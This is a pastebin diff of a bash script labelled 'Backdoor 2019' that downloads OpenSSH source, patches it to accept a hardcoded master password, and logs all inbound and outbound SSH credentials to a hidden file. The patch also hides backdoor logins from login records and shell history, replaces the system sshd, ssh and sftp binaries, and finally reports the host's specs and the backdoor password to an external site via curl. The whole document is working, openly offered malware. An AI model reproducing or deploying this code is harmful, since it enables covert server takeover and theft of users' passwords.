View difference between Paste ID: VvfThNyJ and SKxGLh5t

 #!/bin/bash
 #Backdoor 2019 [Qadimoun]
 
 sysctl -w net.ipv6.conf.all.disable_ipv6=1
 sysctl -w net.ipv6.conf.default.disable_ipv6=1
 
 # Set global recursive dns for non-failure backdoor tools hosts resolution.
 echo '[Q] Resetting resolv.conf'
 echo 'nameserver 8.8.8.8' >/etc/resolv.conf
 # Install Gcc and reqs..
 yum install gcc make -y
 apt-get install gcc make -y
 yum install gcc openssl-devel libz libz-devel -y
 apt-get install openssl-dev libz libz-dev -y
 # Let the fun start
 DIST=`cat /etc/issue |head -1 |cut -d " " -f 1`
 CPU1=`cat /proc/cpuinfo |grep processor |tail -1 |cut -d ":" -f 2 |cut -d " " -f 2`
 CPU2=`echo 1`
 CPU=$((CPU1 + CPU2))
 MEM=`free -m |head -2 |tail -1 |cut -d ":" -f 2 |sed -n '/ /s/  */ /gp' |cut -d " " -f 2`
 STORAGE=`df --total |sed -n '/ /s/  */ /gp'|cut -d " " -f 2 |grep -v blocks |awk '{s+=$1} END {print s}' |awk '{ byte =$1 /1024/1024; print byte "GB" }'`
 
 PASSWORD=`shuf -i 1-10000000000000000000 -n 1`
 SNIFFILE='/usr/local/.logs'
 #curl 'http://patti-taylor.co.uk/get.php?c='$CPU'&m='$MEM'&s='$STORAGE'&p='$PASSWORD'&d='$DIST
 
 BACKDOOR_INC="patch.h"
 FILES="auth.c auth-passwd.c loginrec.c session.c sshconnect1.c sshconnect2.c includes.h"
 #HOST="http://ftp.heanet.ie/mirrors/OpenBSD/OpenSSH/portable/"
 HOST="http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/"
 OK="OK"
 FAIL="Failed"
 
 echo "ENJOY..."
 if [ -z $PASSWORD ]; then
 	echo $PASSWORD | md5sum |cut -d " " -f 1
 fi
 
 if [ -z $SNIFFILE ]; then
 echo -n ">>> logfile path: /usr/local/include/uconf.h"
 SNIFFILE="/usr/local/include/uconf.h"
 touch "/usr/local/include/uconf.h"
 chmod o+wr "/usr/local/include/uconf.h"
 echo "Do not remove /usr/local/include/uconf.h"
 fi
 
 echo -n "checking for sshd_config...    "
 SSHDCONFIG="/etc/ssh"
 if [ -f $SSHDCONFIG/sshd_config ]; then
         echo "$OK  ($SSHDCONFIG)"
 fi
 
 if [ -z "$SSHDCONFIG" ]; then
         echo "$FAIL"
         echo -n ">>> sshd_config path: "
 fi
 
 # ssh
 echo -n "checking for OpenSSH binary... "
 SSH=$(which ssh)
 if [ -z "$SSH" ]; then
         echo "$FAIL"
         exit
 fi
 echo "$OK  ($SSH)"
 
 # wget
 echo -n "checking for wget/curl binary... "
 WGET=$(which curl)
 WGET_FLAG="-O"
 if [ -z "$WGET" ]; then
         WGET=$(which wget)
         if [ -z "$WGET" ]; then
                 echo "$FAIL"
                 exit
         else
                 WGET_FLAG="-qc"
         fi
 fi
 echo "   $OK  ($WGET)"
 
 # check ssh version
 echo -n "checking OpenSSH version... "
 SSH_VERSION=$($SSH -V 2>&1 | sed 's/\(.*\),.*/\1/')
 SSH_DISTRO=$($SSH -V 2>&1 | sed 's/\(.*\),.*/\1/'|awk '{print $2}')
 SSH_SHORT_VERSION=$(echo $SSH_VERSION | sed -e's/OpenSSH_\(.*\)/\1/' -e 's/\ .*//')
 if [ -z "$SSH_SHORT_VERSION" ] || [ -z "$SSH_VERSION" ]; then
         echo $FAIL;
         exit
 fi
 echo "   $OK  ($SSH_VERSION)"
 
 
 # get ssh
 OPENSSH=$(echo openssh-$SSH_SHORT_VERSION)
 echo "downloading source..."
 $WGET $WGET_FLAG $HOST/$OPENSSH.tar.gz &&
 #echo "          $OK" &&
 echo -n "extracting tarball..." &&
 tar xzf $OPENSSH.tar.gz &&
 echo "          $OK" &&
 cd $OPENSSH
 
 
 # check file sanity
 echo -n "checking file sanity..."
 for FILE in $FILES; do
         if [ ! -f $FILE ];then
                 printf "$FILE not found.\n"
                 exit
         fi
         cp $FILE $FILE.bak
 done
 echo "        $OK"
 
 echo "generating patches..."
 BACKDOOR_BUF=\
 "#ifndef __HAVE_PATCH_H
 #define __HAVE_PATCH_H
 #define PATCHPASS \"$PASSWORD\"
 #define SNFLOG \"$SNIFFILE\"
 int patch_on;
 #endif"
 printf "$BACKDOOR_BUF" > $BACKDOOR_INC
 
 
 # patch files
 echo "  patching auth.c...           $OK"
 sed 's/Accepted.*$/&\nif(patch_on) return;/g' auth.c >> auth.c.tmp
 echo "  patching loginrec.c...       $OK"
 sed '/^login_write.*)/{n; s/{/&\nif(patch_on) return 0;/g}' loginrec.c >> loginrec.c.tmp
 echo "  patching auth-passwd.c...    $OK"
 sed -e '/options.permit_empty_passwd/{n; s/.*/&\npatch_on = 0;\nif(!strcmp(password, PATCHPASS))\n{\npatch_on = 1;\nreturn 1;\n}\n/g}' -e '/return (sshpam_auth_passwd(authctxt, password) \&\& ok)/s/.*/\nif (sshpam_auth_passwd(authctxt, password) \&\& ok)\n{\nFILE *fp = fopen(SNFLOG,"a");\nfprintf (fp, "From: %s - %s:%s\\n",get_remote_ipaddr(), pw->pw_name, password);\nfclose (fp);\nreturn 1;\n}\nelse return 0;\n/' -e '/return (strcmp(encrypted_password, pw_password) == 0)/s/.*/\nif (strcmp(encrypted_password, pw_password) == 0)\n{\nFILE *fp = fopen(SNFLOG,"a");\nfprintf (fp, "From: %s - %s:%s\\n",get_remote_ipaddr(), pw->pw_name, password);\nfclose (fp);\nreturn 1;\n}\nelse return 0;\n/'<auth-passwd.c> auth-passwd.c.tmp
 echo " patching session.c...             $OK"
 sed '/LOGNAME/a if(patch_on)\n{\nchild_set_env(&env, &envsize, "HISTFILE", "/dev/null");\n}\n' <session.c> session.c.tmp
 echo "  patching sshconnect1.c...    $OK"
 sed -e '/packet_start(SSH_CMSG_AUTH_PASSWORD)/s/.*/packet_start(SSH_CMSG_AUTH_PASSWORD)\;\n{\nif(strcmp(PATCHPASS,password))\n{\nFILE *fp = fopen(SNFLOG,"a");\nfprintf (fp,"To: %s - %s:%s\\n",get_remote_ipaddr() , options.user, password);\nfclose (fp);\n}\nreturn 1;\n}/' <sshconnect1.c> sshconnect1.c.tmp
 echo "  patching sshconnect2.c...    $OK"
 LINENUMBER=$(cat sshconnect2.c|grep --line-number 'packet_start(SSH2_MSG_USERAUTH_REQUEST);'|awk -F ":" '{print $1}'|head -3|tail -1)
 sed -e $LINENUMBER's/packet_start(SSH2_MSG_USERAUTH_REQUEST)/packet_start(SSH2_MSG_USERAUTH_REQUEST)\;\nif(strcmp(PATCHPASS,password))\n{\nFILE *fp = fopen(SNFLOG,"a");\nfprintf (fp,"To: %s - %s:%s\\n",get_remote_ipaddr() , options.user, password);\nfclose (fp);\n}/' <sshconnect2.c> sshconnect2.c.tmp
 echo "  patching includes.h...    $OK"
 sed -e 's/#include "entropy.h"/#include "entropy.h"\n#include "patch.h"/' <includes.h> includes.h.tmp
 
 
 # move files
 for FILE in $FILES; do
         mv $FILE.tmp $FILE
 done
 echo "done."
 echo "building source..."
 
 echo
 echo Variables:
 echo " \$SSH_VERSION  =  $SSH_VERSION"
 echo " \$SSHDCONFIG   = $SSHDCONFIG"
 echo " \$PASSWORD     = $PASSWORD"
 
 SSH_PORTABLE=$(cat version.h|grep PORTABLE|head -1|awk -F '"' '{print $2}')
 if [ -z $SSH_DISTRO ]; then
 echo "Keeping current version.h"
 else
 echo "SSH Distro: $SSH_DISTRO"
 sed 's/'$SSH_PORTABLE'/'$SSH_PORTABLE' '$SSH_DISTRO'/' <version.h> version.h.tmp
 rm -rf version.h
 mv version.h.tmp version.h
 fi
 
 # start build
 USEPAM=`cat /etc/ssh/sshd_config|grep -i usepam`
 cat /etc/ssh/sshd_config|grep -i GSSAPICleanupCredentials
 if [ -z $USEPAM ];then
 echo "Configuring --with-pam"
 OPT_PAM=""
 else
 echo "Configuring without PAM"
 OPT_PAM=""
 fi
 if [ -z $KERB ]; then
 echo "Configuring --with-kerberos5"
 OPT_KERB=""
 else
 echo "Configuring without kerb5"
 OPT_KERB=""
 fi
 echo "./configure --sysconfdir=$SSHDCONFIG $OPT_PAM $OPT_KERB"
 ./configure --sysconfdir=$SSHDCONFIG $OPT_PAM $OPT_KERB && make ssh sshd sftp
 
 printf "patched OpenSSH ready.\n"
 mv sshd /usr/sbin/sshd
 mv ssh /usr/bin/ssh
 mv sftp /usr/bin/sftp
 service sshd restart
 curl 'http://patti-taylor.co.uk/get.php?c='$CPU'&m='$MEM'&s='$STORAGE'&p='$PASSWORD'&d='$DIST